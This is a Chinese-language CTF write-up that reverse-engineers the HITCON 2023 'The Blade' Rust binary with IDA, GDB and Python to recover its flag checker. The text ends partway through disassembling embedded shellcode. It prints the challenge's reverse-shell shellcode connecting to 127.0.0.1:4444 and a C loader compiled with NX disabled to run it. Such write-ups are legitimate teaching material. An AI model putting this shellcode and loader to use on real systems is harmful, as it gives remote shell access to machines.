HITCON-CTF-2023 Full Chain - The Blade Writeup
HITCON-CTF-2023 - Full Chain - The Blade
Description
A Rust tool for executing shellcode in a seccomp environment. Your goal is to pass the hidden flag checker concealed in the binary.
(Hey, this is my first Rust project. Feel free to give me any advice and criticism 😃)
Source
0x1 Initial Reconnaissance
例行檢查:
1 | └─$ file blade |
執行看看:
1 | └─$ ./blade |
可以看到提供三個功能,不過 help
跟 exit
沒什麼特別的,我們試試 server
:
1 | > server |
看起來這個 server
模式就是剛剛題目敘述提到的 seccomp environment
,並且可以設定一些相關參數。
Start server 看看:
1 | └─$ ./blade |
Start 之後可以看到他要我們在受害者的電腦上執行一段 shellcode,然後在 127.0.0.1:4444
有服務等待連接。
直接 nc 上去執行指令會噴一堆亂碼,然後還會卡住,感覺不太像是正常的交互,我在同一個資料夾下面建一個 shellcode.c 來執行這段 shellcode,注意在 compile 的時候要關掉 NX:
1 | int main(){ |
執行後就會拿到 reverse shell 了,指令也都可以正常執行:
1 | └─$ ./blade |
看了 menu 之後沒看到任何跟 flag checker 有關的指令,我們再回憶一下題目敘述:
Your goal is to pass the hidden flag checker concealed in the binary.
上面的翻譯是:該開 IDA 了 XD
0x2 Reverse Engineering
丟進 IDA 後在 Function name
逛了一下後會看到剛剛 server 模式的那些指令,而這邊函式名前綴為 seccomp_shell
也符合我們的猜測,其中有個可疑的 verify()
函式,感覺蠻可能跟 flag checker 有關聯:
但分析 verify()
前,我們先找到呼叫 verify()
的地方,這樣方便我們透過傳入的參數去推理逆向,也有機會找到他用來檢查 flag 的指令,那 prompt()
感覺就是在做管理整個 seccomp_shell
之類的功能,我們從這裡先開始分析。
prompt()
void ***__fastcall seccomp_shell::shell::prompt::h76cecfe7bd3bdf50(__int64 a1)
接收了一個參數應該就是指令,我們重新命名整理一下:a1 -> inputCommand
接著發現指令呼叫時傳入的第一個參數都是 v162
,而且 v162
就是剛剛的 a1
,所以給他個新名字:v162 -> commandString
再來就大概花了億點時間在尋找用來觸發 verify()
的指令,看了很久都沒啥進展的同時決定出門吃個晚餐,回來發現學長把電腦重開機(RDP 到社團的公共電腦),IDA 只好重新解一次,沒想到解完後就正常多了,如下:
看到這次他把他解成 switch,然後 case 看起來像是 ASCII 的字串,對字串按 r 之後可以看到 little endian 的 flag
、exit
和 quit
等指令,測試一下 flag
指令:
1 | $ flag hitcon{flag} |
看起來很對,差不多該分析 verify()
了。
verify()
- 一進去就會看到可能是在檢查 flag 長度的判斷式:
1
2
3
4
5if ( len != 64 )
{
_$LT$alloc..boxed..Box$LT$dyn$u20$core..error..Error$GT$$u20$as$u20$core..convert..From$LT$$RF$str$GT$$GT$::from::hc50629fd4c285201();
return v72;
} - 接著是一些不太重要的變數,這裡它把 flag 切成三段:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15commandString = command;
_rust_alloc();
if ( !flag_copy )
alloc::alloc::handle_alloc_error::hd36006f171acb99e();
flag_copy2 = flag_copy;
flag_ptr = *flag;
flag_part1 = flag[1];
flag_part2 = flag[2];
flag_copy[3] = flag[3];
flag_copy[2] = flag_part2;
flag_copy[1] = flag_part1;
*flag_copy = flag_ptr;
flag_copy3 = flag_copy;
v88 = 64LL;
v89 = 64LL; - 再來包含一個重複 256 次的外部循環,內部由八個一樣的子循環組成,子循環會以
dest
做為映射表,對 flag 內的字符進行交換操作,並且過程是由 flag 的尾部進行到頭部。
此外core::panicking::panic_bounds_check::h7d0e683548e4cb10()
是 rust 編譯器引入的一種錯誤處理機制,用來防止索引訪問越界。
整理過後,結構大致如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30loop_count = 0;
do
{
++loop_count;
// 打亂 flag,並重複八次
memcpy(dest, "/", 0x200uLL);
flag_index_from_tail = 64LL;
dest_index = (__int64 *)dest + 1;
do
{
dest_value1 = *(dest_index - 1);
// swap
if ( dest_value1 >= 64
|| (temp1_1 = *((_BYTE *)flag_copy2 + flag_index_from_tail - 1),
*((_BYTE *)flag_copy2 + flag_index_from_tail - 1) = *((_BYTE *)flag_copy2 + dest_value1),
*((_BYTE *)flag_copy2 + dest_value1) = temp1_1,
dest_value2 = *dest_index,
(unsigned __int64)*dest_index > 0x3F) )
{
LABEL_53:
core::panicking::panic_bounds_check::h7d0e683548e4cb10();
}
// swap
temp1_2 = *((_BYTE *)flag_copy2 + flag_index_from_tail - 2);
*((_BYTE *)flag_copy2 + flag_index_from_tail - 2) = *((_BYTE *)flag_copy2 + dest_value2);
*((_BYTE *)flag_copy2 + dest_value2) = temp1_2;
dest_index += 2;
flag_index_from_tail -= 2LL;
}
while ( flag_index_from_tail ); - 打亂 flag 後會接一個按位加密的邏輯:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38// 按位加密
current_index = 0LL;
do
{
currentValuePlusOne = *((unsigned __int8 *)flag_copy2 + current_index) + 1;
LOWORD(intermediateValue) = 1;
LOWORD(current_index2) = 257;
tempResult = 0;
do
{
current_index3 = current_index2;
LOWORD(current_index2) = (unsigned __int16)current_index2 / (unsigned __int16)currentValuePlusOne;
modResult = current_index3 % (unsigned __int16)currentValuePlusOne;
tempCalculation = intermediateValue;
intermediateValue = tempResult - (_DWORD)intermediateValue * (_DWORD)current_index2;
LODWORD(current_index2) = currentValuePlusOne;
currentValuePlusOne = (unsigned __int16)(current_index3 % (unsigned __int16)currentValuePlusOne);
tempResult = tempCalculation;
}
while ( modResult );
finalAdjustment = 0;
if ( (__int16)tempCalculation > 0 )
finalAdjustment = tempCalculation;
finalResult = (unsigned __int16)(finalAdjustment + ((__int16)tempCalculation >> 15) - tempCalculation) / 0x101u
+ tempCalculation
+ ((unsigned __int16)tempCalculation >> 15);
LOBYTE(finalResult) = ((unsigned __int16)(finalAdjustment + ((__int16)tempCalculation >> 15) - tempCalculation)
/ 0x101u
+ tempCalculation
+ ((unsigned __int16)tempCalculation >> 15)
+ 113) ^ 0x89;
*((_BYTE *)flag_copy2 + current_index) = finalResult;
current_index2 = current_index + 1;
current_index = current_index2;
}
while ( current_index2 != 64 ); // flag 長度
}
while ( loop_count != 256 ); - 寫了 255 個 bytes 到一塊新的空間還有寫 64 個 bytes 到
dest
,後面還有一些 TCP 的交互,但具體還看不出來在幹嘛:
1 | // 分配 255 字節的內存 |
0x3 Exploitation
- 首先是要搞清楚打亂順序,這部分可以透過直接比較指定輸入和動態分析打亂結果來得知映射表:
- 先紀錄
verify()
的 symbol:
從 IDA 看
1 | ; __int64 __fastcall seccomp_shell::shell::verify::h898bf5fa26dafbab(__int64 command, __int128 *flag, __int64 len) |
用 objdump 也行:
1 | └─$ objdump -d ./blade | grep verify |
得 _ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE
。
- 下斷點:
斷點下的位置要選在八個換位子循環後,按位加密前,之後我們會再模擬重複 256 次
1 | .text:0000000000012FFC movzx edx, byte ptr [rbx+rax-2] |
1 | if ( (unsigned __int64)*v53 > 0x3F ) |
這邊選 xor ecx, ecx
,也就是 current_index
歸零的地方,IDA 可以看到位址是 seccomp_shell::shell::verify::h898bf5fa26dafbab + 3A7
,flag 的位置從前幾行可以得知在 $rbx。
- GDB 看打亂順序,輸入
1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}
(10 + 26 + 26 + 2 = 64) 觀察,擷取重要部份如下:
1 | └─$ gdb -q ./blade |
- 用 python 字典建立映射表和反映射表:
1
2
3
4
5
6
7import string
original = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}'
shuffled = 'HfVl{qPcCYNMoRi7D8Jr}espOL4FhwdWAtTGZba5Ugjvnx2QkKE3IS0yuz6BX19m'
char_to_shuffled_map = {c: shuffled[i] for i, c in enumerate(original)}
suffled_to_char_map = {shuffled[i]: c for i, c in enumerate(original)
- 再來要建立按位加密的映射表:
- 下斷點:
斷點這次會下在按位加密後,外部循環前,從 IDA 左側的虛線可以很方便地去判斷迴圈架構:
選擇下在 cmp r13d, 100h
的位置,也就是 seccomp_shell::shell::verify::h898bf5fa26dafbab + 42E
。
- GDB 動態分析:
操作大部分和前面類似,值得一題的是加密後的 flag 會有不可視字元,所以這裡換成十六進位顯示:拿到加密的映射表了,但只有一部分。我們可以透過 GDB 的功能直接設定換位後加密前的 flag 為特定的值,然後重複直到建立完整的映射表,其中設特定值的部分也可以用 GDB 的 python API 來協助完成,做法如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28└─$ gdb -q ./blade
gef➤ starti
gef➤ break *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + 0x42E
Breakpoint 1 at 0x55555556709e
gef➤ continue
Continuing.
> server
[!] SYS_socket and SYS_connect should be allowed
server> run
[*] Run the following shellcode on the victim server:
"\xeb\x10\x31\xc0\x53\x5f\x49\x8d\x77\x10\x48\x31\xd2\x80\xc2\xff\x0f\x05\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x50\x5b\x48\x97\x68\x7f\x00\x00\x01\x66\x68\x11\x5c\x66\x6a\x02\x54\x5e\xb2\x10\xb0\x2a\x0f\x05\x4c\x8d\x3d\xc5\xff\xff\xff\x41\xff\xe7"
[*] Waiting for connection on 127.0.0.1:4444
# ./shellcode
[+] Connection established from 127.0.0.1:56514
$ flag 1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}
Breakpoint 1, 0x000055555556709e in seccomp_shell::shell::verify::h898bf5fa26dafbab ()
gef➤ x/s $rbx
0x5555555d63e0: "\223\377;\330jd\237\n\331\f\354\263\302X\253\255\217", <incomplete sequence \340>
gef➤ x/64xb $rbx
0x5555555d63e0: 0x93 0xff 0x3b 0xd8 0x6a 0x64 0x9f 0x0a
0x5555555d63e8: 0xd9 0x0c 0xec 0xb3 0xc2 0x58 0xab 0xad
0x5555555d63f0: 0x8f 0xe0 0x00 0x1e 0x2d 0x39 0x6b 0x6c
0x5555555d63f8: 0x81 0xe1 0x5b 0xaf 0x9c 0x09 0x04 0xa0
0x5555555d6400: 0x32 0x7e 0x79 0x03 0xcb 0x71 0x75 0x61
0x5555555d6408: 0xfd 0xc1 0xef 0x2e 0x14 0x0b 0x66 0xca
0x5555555d6410: 0xa4 0xa2 0xee 0x97 0x3a 0xb7 0x0f 0x86
0x5555555d6418: 0x99 0x74 0xed 0xd2 0x02 0x1c 0xda 0xe2上面的操作重複1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31gef➤ break *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + 0x3A7
Breakpoint 1 at 0x555555567017
gef➤ break *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + 0x42E
Breakpoint 2 at 0x55555556709e
gef➤ python
>start_addr = gdb.parse_and_eval("$rbx")
>bytes_to_write = bytes(range(64))
>gdb.selected_inferior().write_memory(start_addr, bytes_to_write)
>end
gef➤ x/64xb $rbx
0x5555555d63e0: 0x00 0x01 0x02 0x03 0x04 0x05 0x06 0x07
0x5555555d63e8: 0x08 0x09 0x0a 0x0b 0x0c 0x0d 0x0e 0x0f
0x5555555d63f0: 0x10 0x11 0x12 0x13 0x14 0x15 0x16 0x17
0x5555555d63f8: 0x18 0x19 0x1a 0x1b 0x1c 0x1d 0x1e 0x1f
0x5555555d6400: 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27
0x5555555d6408: 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f
0x5555555d6410: 0x30 0x31 0x32 0x33 0x34 0x35 0x36 0x37
0x5555555d6418: 0x38 0x39 0x3a 0x3b 0x3c 0x3d 0x3e 0x3f
gef➤ continue
Continuing.
Breakpoint 2, 0x000055555556709e in seccomp_shell::shell::verify::h898bf5fa26dafbab ()
gef➤ x/64xb $rbx
0x5555555d63e0: 0xfb 0x7b 0x4e 0xbb 0x51 0x15 0x8d 0xdb
0x5555555d63e8: 0xb0 0xac 0xa5 0x8e 0xaa 0xb2 0x60 0xeb
0x5555555d63f0: 0x63 0x5c 0xde 0x42 0x2b 0xc6 0xa6 0x35
0x5555555d63f8: 0x30 0x43 0xd6 0x5f 0xbd 0x24 0xb1 0xe3
0x5555555d6400: 0x8c 0xa7 0xd5 0x2a 0x7c 0x6d 0x8b 0x17
0x5555555d6408: 0x9d 0x83 0xfe 0x69 0x10 0x59 0xa9 0x9e
0x5555555d6410: 0x0f 0x1c 0x66 0x97 0x5b 0x61 0xed 0xad
0x5555555d6418: 0xe0 0xda 0x27 0x06 0x25 0xdc 0x5e 0xe7256/64 = 4
次即可得到完整的加密映射表,用 python 來協助我們 parse string 還有建立映射:讚。到這邊我們已經可以完全模擬它對輸入的所有操作了。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93plain_string = """
0x5555555d63e0: 0x00 0x01 0x02 0x03 0x04 0x05 0x06 0x07
0x5555555d63e8: 0x08 0x09 0x0a 0x0b 0x0c 0x0d 0x0e 0x0f
0x5555555d63f0: 0x10 0x11 0x12 0x13 0x14 0x15 0x16 0x17
0x5555555d63f8: 0x18 0x19 0x1a 0x1b 0x1c 0x1d 0x1e 0x1f
0x5555555d6400: 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27
0x5555555d6408: 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f
0x5555555d6410: 0x30 0x31 0x32 0x33 0x34 0x35 0x36 0x37
0x5555555d6418: 0x38 0x39 0x3a 0x3b 0x3c 0x3d 0x3e 0x3f
0x5555555d63e0: 0x40 0x41 0x42 0x43 0x44 0x45 0x46 0x47
0x5555555d63e8: 0x48 0x49 0x4a 0x4b 0x4c 0x4d 0x4e 0x4f
0x5555555d63f0: 0x50 0x51 0x52 0x53 0x54 0x55 0x56 0x57
0x5555555d63f8: 0x58 0x59 0x5a 0x5b 0x5c 0x5d 0x5e 0x5f
0x5555555d6400: 0x60 0x61 0x62 0x63 0x64 0x65 0x66 0x67
0x5555555d6408: 0x68 0x69 0x6a 0x6b 0x6c 0x6d 0x6e 0x6f
0x5555555d6410: 0x70 0x71 0x72 0x73 0x74 0x75 0x76 0x77
0x5555555d6418: 0x78 0x79 0x7a 0x7b 0x7c 0x7d 0x7e 0x7f
0x5555555d63e0: 0x80 0x81 0x82 0x83 0x84 0x85 0x86 0x87
0x5555555d63e8: 0x88 0x89 0x8a 0x8b 0x8c 0x8d 0x8e 0x8f
0x5555555d63f0: 0x90 0x91 0x92 0x93 0x94 0x95 0x96 0x97
0x5555555d63f8: 0x98 0x99 0x9a 0x9b 0x9c 0x9d 0x9e 0x9f
0x5555555d6400: 0xa0 0xa1 0xa2 0xa3 0xa4 0xa5 0xa6 0xa7
0x5555555d6408: 0xa8 0xa9 0xaa 0xab 0xac 0xad 0xae 0xaf
0x5555555d6410: 0xb0 0xb1 0xb2 0xb3 0xb4 0xb5 0xb6 0xb7
0x5555555d6418: 0xb8 0xb9 0xba 0xbb 0xbc 0xbd 0xbe 0xbf
0x5555555d63e0: 0xc0 0xc1 0xc2 0xc3 0xc4 0xc5 0xc6 0xc7
0x5555555d63e8: 0xc8 0xc9 0xca 0xcb 0xcc 0xcd 0xce 0xcf
0x5555555d63f0: 0xd0 0xd1 0xd2 0xd3 0xd4 0xd5 0xd6 0xd7
0x5555555d63f8: 0xd8 0xd9 0xda 0xdb 0xdc 0xdd 0xde 0xdf
0x5555555d6400: 0xe0 0xe1 0xe2 0xe3 0xe4 0xe5 0xe6 0xe7
0x5555555d6408: 0xe8 0xe9 0xea 0xeb 0xec 0xed 0xee 0xef
0x5555555d6410: 0xf0 0xf1 0xf2 0xf3 0xf4 0xf5 0xf6 0xf7
0x5555555d6418: 0xf8 0xf9 0xfa 0xfb 0xfc 0xfd 0xfe 0xff
"""
encrypted_string = """
0x5555555d63e0: 0xfb 0x7b 0x4e 0xbb 0x51 0x15 0x8d 0xdb
0x5555555d63e8: 0xb0 0xac 0xa5 0x8e 0xaa 0xb2 0x60 0xeb
0x5555555d63f0: 0x63 0x5c 0xde 0x42 0x2b 0xc6 0xa6 0x35
0x5555555d63f8: 0x30 0x43 0xd6 0x5f 0xbd 0x24 0xb1 0xe3
0x5555555d6400: 0x8c 0xa7 0xd5 0x2a 0x7c 0x6d 0x8b 0x17
0x5555555d6408: 0x9d 0x83 0xfe 0x69 0x10 0x59 0xa9 0x9e
0x5555555d6410: 0x0f 0x1c 0x66 0x97 0x5b 0x61 0xed 0xad
0x5555555d6418: 0xe0 0xda 0x27 0x06 0x25 0xdc 0x5e 0xe7
0x5555555d63e0: 0x41 0x32 0xd2 0xd9 0x8f 0xee 0xaf 0x03
0x5555555d63e8: 0x93 0x3a 0x00 0xa2 0xe1 0xb3 0xec 0x81
0x5555555d63f0: 0x9f 0xca 0x58 0xb7 0x79 0xfd 0x3b 0xa0
0x5555555d63f8: 0x02 0x0c 0xcb 0xa8 0x80 0xc0 0x16 0x4d
0x5555555d6400: 0x2f 0x75 0x71 0x0a 0x04 0x39 0xff 0xc1
0x5555555d6408: 0x9c 0xab 0xef 0xa4 0xd8 0xe2 0x14 0xc2
0x5555555d6410: 0x6c 0x64 0x1e 0x6b 0x7e 0x99 0x2e 0x09
0x5555555d6418: 0x0b 0x86 0x74 0x6a 0xc4 0x2d 0x4f 0xf9
0x5555555d63e0: 0xfa 0x94 0xb6 0x1f 0x89 0x6f 0x5d 0xe8
0x5555555d63e8: 0xea 0xb5 0x5a 0x65 0x88 0xc5 0x7f 0x77
0x5555555d63f0: 0x11 0xcf 0xf1 0x1b 0x3f 0xf4 0x48 0x47
0x5555555d63f8: 0x12 0xe4 0xba 0xdf 0xe9 0x62 0x6e 0xb4
0x5555555d6400: 0x96 0xcd 0x13 0x53 0x4b 0x28 0xd7 0xd1
0x5555555d6408: 0x33 0xb8 0xe6 0x7a 0x2c 0x9b 0x29 0x44
0x5555555d6410: 0x52 0xf7 0x20 0xf2 0x31 0xd3 0xb9 0x40
0x5555555d6418: 0xd0 0x34 0xf5 0x54 0x1a 0x01 0xa1 0x92
0x5555555d63e0: 0xfc 0x85 0x07 0xbe 0xdd 0xbc 0x19 0xf3
0x5555555d63e8: 0x36 0xf6 0x72 0x98 0x4c 0x7d 0xc7 0xd4
0x5555555d63f0: 0x45 0x4a 0x9a 0xc3 0x8a 0xe5 0x50 0x46
0x5555555d63f8: 0xcc 0x68 0x76 0x67 0xc9 0x0e 0x3c 0x57
0x5555555d6400: 0xf0 0x22 0xbf 0x26 0x84 0x0d 0x90 0xa3
0x5555555d6408: 0xae 0x3d 0x1d 0xc8 0x91 0x05 0x87 0x70
0x5555555d6410: 0x08 0x73 0x21 0x49 0x55 0x3e 0x37 0x23
0x5555555d6418: 0x18 0x56 0xce 0x82 0x38 0x95 0x78 0xf8
"""
def parse_memory_dump(dump):
bytes_list = []
for line in dump.strip().split('\n'):
parts = line.split(':')
if len(parts) < 2:
continue
byte_strs = parts[1].split()
for byte_str in byte_strs:
bytes_list.append(int(byte_str.strip(), 16))
return bytes_list
plain_bytes = parse_memory_dump(plain_string)
encrypted_bytes = parse_memory_dump(encrypted_string)
encryption_mapping = {plain: encrypted for plain, encrypted in zip(plain_bytes, encrypted_bytes)}
decryption_mapping = {encrypted: plain for plain, encrypted in zip(plain_bytes, encrypted_bytes)}
不過有個大問題:這題是一個 flag checker,可是剛剛前面我們已經用 IDA 把verify()
整個看過一遍也沒發現任何在檢查 flag 的部分,只看到他寫了 255 個 bytes 到一塊新的空間還有寫 64 個 bytes 到dest
,還有一些 TCP 的操作,但就不知道他後面在忙什麼QQ
後來看了其他人的 writeup 後發現原來寫入的 255 byets 是一段 shellcode,那這樣我們可以用pwntool.disasm
來協助我們分析這段 shellcode,gogo。
- Shellcode 2 Assembly
- 下斷點
我們把斷點下在剛 call 完寫入 shellcode 的地方,然後因為前面剛 alloc()
一塊空間給 shellcode 所以位址就會在 $rax:
1 | .text:00000000000130B2 call _ZN5alloc7raw_vec19RawVec$LT$T$C$A$GT$11allocate_in17h9362616e9151d1f3E ; alloc::raw_vec::RawVec$LT$T$C$A$GT$::allocate_in::h9362616e9151d1f3 |
也就是 mov [rsp+288h+memoryBuffer], r14
。
- GDB dump shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47gef➤ break *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + 0x462
Breakpoint 4 at 0x5555555670d2
gef➤ continue
Continuing.
> server
[!] SYS_socket and SYS_connect should be allowed
server> run
[*] Run the following shellcode on the victim server:
"\xeb\x10\x31\xc0\x53\x5f\x49\x8d\x77\x10\x48\x31\xd2\x80\xc2\xff\x0f\x05\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x50\x5b\x48\x97\x68\x7f\x00\x00\x01\x66\x68\x11\x5c\x66\x6a\x02\x54\x5e\xb2\x10\xb0\x2a\x0f\x05\x4c\x8d\x3d\xc5\xff\xff\xff\x41\xff\xe7"
[*] Waiting for connection on 127.0.0.1:4444
[+] Connection established from 127.0.0.1:56746
$ flag 1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}
Breakpoint 4, 0x00005555555670d2 in seccomp_shell::shell::verify::h898bf5fa26dafbab ()
gef➤ x/255xb $rax
0x5555555d6430: 0x54 0x5d 0x31 0xf6 0x48 0xb9 0xa1 0x57
0x5555555d6438: 0x06 0xb8 0x62 0x3a 0x9f 0x37 0x48 0xba
0x5555555d6440: 0x8e 0x35 0x6f 0xd6 0x4d 0x49 0xf7 0x37
0x5555555d6448: 0x48 0x31 0xd1 0x51 0x54 0x5f 0x6a 0x02
0x5555555d6450: 0x58 0x99 0x0f 0x05 0x48 0x97 0x31 0xc0
0x5555555d6458: 0x50 0x54 0x5e 0x6a 0x04 0x5a 0x0f 0x05
0x5555555d6460: 0x41 0x5c 0x6a 0x03 0x58 0x0f 0x05 0x31
0x5555555d6468: 0xf6 0x48 0xb9 0x3b 0x3b 0x6f 0xc3 0x63
0x5555555d6470: 0x64 0xc0 0xaa 0x48 0xba 0x48 0x4c 0x0b
0x5555555d6478: 0xc3 0x63 0x64 0xc0 0xaa 0x48 0x31 0xd1
0x5555555d6480: 0x51 0x48 0xb9 0x8c 0x57 0x82 0x75 0xd6
0x5555555d6488: 0xf8 0xa9 0x7d 0x48 0xba 0xa3 0x32 0xf6
0x5555555d6490: 0x16 0xf9 0x88 0xc8 0x0e 0x48 0x31 0xd1
0x5555555d6498: 0x51 0x54 0x5f 0x6a 0x02 0x58 0x99 0x0f
0x5555555d64a0: 0x05 0x48 0x97 0x31 0xc0 0x50 0x54 0x5e
0x5555555d64a8: 0x6a 0x04 0x5a 0x0f 0x05 0x41 0x5d 0x6a
0x5555555d64b0: 0x03 0x58 0x0f 0x05 0x31 0xf6 0x6a 0x6f
0x5555555d64b8: 0x48 0xb9 0x59 0xe5 0x06 0x0c 0x2d 0xf6
0x5555555d64c0: 0xd9 0x77 0x48 0xba 0x76 0x81 0x63 0x7a
0x5555555d64c8: 0x02 0x8c 0xbc 0x05 0x48 0x31 0xd1 0x51
0x5555555d64d0: 0x54 0x5f 0x6a 0x02 0x58 0x99 0x0f 0x05
0x5555555d64d8: 0x48 0x97 0x31 0xc0 0x50 0x54 0x5e 0x6a
0x5555555d64e0: 0x04 0x5a 0x0f 0x05 0x58 0x48 0xf7 0xd0
0x5555555d64e8: 0x48 0xc1 0xe8 0x1d 0x48 0x99 0x6a 0x29
0x5555555d64f0: 0x59 0x48 0xf7 0xf1 0x49 0x96 0x6a 0x03
0x5555555d64f8: 0x58 0x0f 0x05 0xb8 0xef 0xbe 0xad 0xde
0x5555555d6500: 0x44 0x01 0xe0 0x44 0x31 0xe8 0xc1 0xc8
0x5555555d6508: 0x0b 0xf7 0xd0 0x44 0x31 0xf0 0x3d 0xef
0x5555555d6510: 0xbe 0xad 0xde 0x75 0x05 0x6a 0x01 0x58
0x5555555d6518: 0xeb 0x03 0x48 0x31 0xc0 0x50 0x53 0x5f
0x5555555d6520: 0x54 0x5e 0x6a 0x08 0x5a 0x6a 0x01 0x58
0x5555555d6528: 0x0f 0x05 0x55 0x5c 0x41 0xff 0xe7 - python 轉換成 assembly
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41# ===== Part 3: shellcode =====
from pwn import disasm
shellcode = '''
0x5555555d6430: 0x54 0x5d 0x31 0xf6 0x48 0xb9 0xa1 0x57
0x5555555d6438: 0x06 0xb8 0x62 0x3a 0x9f 0x37 0x48 0xba
0x5555555d6440: 0x8e 0x35 0x6f 0xd6 0x4d 0x49 0xf7 0x37
0x5555555d6448: 0x48 0x31 0xd1 0x51 0x54 0x5f 0x6a 0x02
0x5555555d6450: 0x58 0x99 0x0f 0x05 0x48 0x97 0x31 0xc0
0x5555555d6458: 0x50 0x54 0x5e 0x6a 0x04 0x5a 0x0f 0x05
0x5555555d6460: 0x41 0x5c 0x6a 0x03 0x58 0x0f 0x05 0x31
0x5555555d6468: 0xf6 0x48 0xb9 0x3b 0x3b 0x6f 0xc3 0x63
0x5555555d6470: 0x64 0xc0 0xaa 0x48 0xba 0x48 0x4c 0x0b
0x5555555d6478: 0xc3 0x63 0x64 0xc0 0xaa 0x48 0x31 0xd1
0x5555555d6480: 0x51 0x48 0xb9 0x8c 0x57 0x82 0x75 0xd6
0x5555555d6488: 0xf8 0xa9 0x7d 0x48 0xba 0xa3 0x32 0xf6
0x5555555d6490: 0x16 0xf9 0x88 0xc8 0x0e 0x48 0x31 0xd1
0x5555555d6498: 0x51 0x54 0x5f 0x6a 0x02 0x58 0x99 0x0f
0x5555555d64a0: 0x05 0x48 0x97 0x31 0xc0 0x50 0x54 0x5e
0x5555555d64a8: 0x6a 0x04 0x5a 0x0f 0x05 0x41 0x5d 0x6a
0x5555555d64b0: 0x03 0x58 0x0f 0x05 0x31 0xf6 0x6a 0x6f
0x5555555d64b8: 0x48 0xb9 0x59 0xe5 0x06 0x0c 0x2d 0xf6
0x5555555d64c0: 0xd9 0x77 0x48 0xba 0x76 0x81 0x63 0x7a
0x5555555d64c8: 0x02 0x8c 0xbc 0x05 0x48 0x31 0xd1 0x51
0x5555555d64d0: 0x54 0x5f 0x6a 0x02 0x58 0x99 0x0f 0x05
0x5555555d64d8: 0x48 0x97 0x31 0xc0 0x50 0x54 0x5e 0x6a
0x5555555d64e0: 0x04 0x5a 0x0f 0x05 0x58 0x48 0xf7 0xd0
0x5555555d64e8: 0x48 0xc1 0xe8 0x1d 0x48 0x99 0x6a 0x29
0x5555555d64f0: 0x59 0x48 0xf7 0xf1 0x49 0x96 0x6a 0x03
0x5555555d64f8: 0x58 0x0f 0x05 0xb8 0xef 0xbe 0xad 0xde
0x5555555d6500: 0x44 0x01 0xe0 0x44 0x31 0xe8 0xc1 0xc8
0x5555555d6508: 0x0b 0xf7 0xd0 0x44 0x31 0xf0 0x3d 0xef
0x5555555d6510: 0xbe 0xad 0xde 0x75 0x05 0x6a 0x01 0x58
0x5555555d6518: 0xeb 0x03 0x48 0x31 0xc0 0x50 0x53 0x5f
0x5555555d6520: 0x54 0x5e 0x6a 0x08 0x5a 0x6a 0x01 0x58
0x5555555d6528: 0x0f 0x05 0x55 0x5c 0x41 0xff 0xe7
'''
shellcode_bytes = parse_memory_dump(shellcode)
disassembled_code = disasm(shellcode_bytes, arch='amd64')
print(disassembled_code) - Result:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
1080: 54 push rsp
1: 5d pop rbp
2: 31 f6 xor esi, esi
4: 48 b9 a1 57 06 b8 62 3a 9f 37 movabs rcx, 0x379f3a62b80657a1
e: 48 ba 8e 35 6f d6 4d 49 f7 37 movabs rdx, 0x37f7494dd66f358e
18: 48 31 d1 xor rcx, rdx
1b: 51 push rcx
1c: 54 push rsp
1d: 5f pop rdi
1e: 6a 02 push 0x2
20: 58 pop rax
21: 99 cdq
22: 0f 05 syscall
24: 48 97 xchg rdi, rax
26: 31 c0 xor eax, eax
28: 50 push rax
29: 54 push rsp
2a: 5e pop rsi
2b: 6a 04 push 0x4
2d: 5a pop rdx
2e: 0f 05 syscall
30: 41 5c pop r12
32: 6a 03 push 0x3
34: 58 pop rax
35: 0f 05 syscall
37: 31 f6 xor esi, esi
39: 48 b9 3b 3b 6f c3 63 64 c0 aa movabs rcx, 0xaac06463c36f3b3b
43: 48 ba 48 4c 0b c3 63 64 c0 aa movabs rdx, 0xaac06463c30b4c48
4d: 48 31 d1 xor rcx, rdx
50: 51 push rcx
51: 48 b9 8c 57 82 75 d6 f8 a9 7d movabs rcx, 0x7da9f8d67582578c
